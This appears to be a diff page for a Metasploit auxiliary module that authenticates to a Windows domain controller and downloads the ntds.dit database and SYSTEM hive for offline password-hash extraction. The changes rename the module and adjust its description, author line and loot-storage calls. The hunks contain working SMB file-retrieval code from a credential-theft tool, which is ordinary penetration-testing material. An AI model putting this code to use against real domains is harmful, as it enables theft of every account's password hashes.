@@ -24,18 +24,18 @@ class Metasploit3 < Msf::Auxiliary
24
24
25
25
def initialize ( info = { } )
26
26
super ( update_info ( info ,
27
- 'Name' => 'Windows Domain Controller - Download NTDS.dit and SYSTEM Hive' ,
28
- 'Description' => %q{This module authenticates to an Active Directory Domain Controller and creates
29
- a volume shadow copy of the %SYSTEMDRIVE%.It then pulls down copies of the ntds.dit file as well
30
- as the SYSTEM hive and stores them on your attacking machine.The ntds.dit and SYSTEM copy can be used
31
- in combination with other tools for offline extraction of AD password hashes.All of this is possible without
32
- uploading a single binary to the target host.
27
+ 'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility' ,
28
+ 'Description' => %q{
29
+ This module authenticates to an Active Directory Domain Controller and creates
30
+ a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
31
+ ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
32
+ hive copy can be used in combination with other tools for offline extraction of AD
33
+ password hashes. All of this is done without uploading a single binary to the
34
+ target host.
33
35
} ,
34
-
35
36
'Author' => [
36
- 'Royce Davis @R3dy__ <rdavis[at]accuvant.com>'
37
+ 'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
37
38
] ,
38
-
39
39
'License' => MSF_LICENSE ,
40
40
'References' => [
41
41
[ 'URL' , 'http://sourceforge.net/projects/smbexec' ] ,
@@ -199,8 +199,9 @@ def download_ntds(file)
199
199
simple . connect ( "\\ \\ #{ @ip } \\ #{ @smbshare } " )
200
200
remotefile = simple . open ( "#{ file } " , 'rob' )
201
201
data = remotefile . read
202
- store_loot ( "NTDS.database" , "data" , @ip , data , "ntds.dit" , nil , nil )
203
202
remotefile . close
203
+ ntds_path = store_loot ( "psexec.ntdsgrab.ntds" , "application/octet-stream" , @ip , data , "ntds.dit" )
204
+ print_good ( "#{ peer } - ntds.dit stored at #{ ntds_path } " )
204
205
rescue StandardError => ntdsdownloaderror
205
206
print_error ( "#{ peer } - Unable to downlaod ntds.dit: #{ ntdsdownloaderror } " )
206
207
return ntdsdownloaderror
@@ -217,8 +218,9 @@ def download_sys_hive(file)
217
218
simple . connect ( "\\ \\ #{ @ip } \\ #{ @smbshare } " )
218
219
remotefile = simple . open ( "#{ file } " , 'rob' )
219
220
data = remotefile . read
220
- store_loot ( "Registry.hive.system" , "binary/reg" , @ip , data , "system-hive" , nil , nil )
221
221
remotefile . close
222
+ hive_path = store_loot ( "psexec.ntdsgrab.hive" , "application/octet-stream" , @ip , data , "system-hive" )
223
+ print_good ( "#{ peer } - SYSTEM hive stored at #{ hive_path } " )
222
224
rescue StandardError => sysdownloaderror
223
225
print_error ( "#{ peer } - Unable to download SYSTEM hive: #{ sysdownloaderror } " )
224
226
return sysdownloaderror
0 commit comments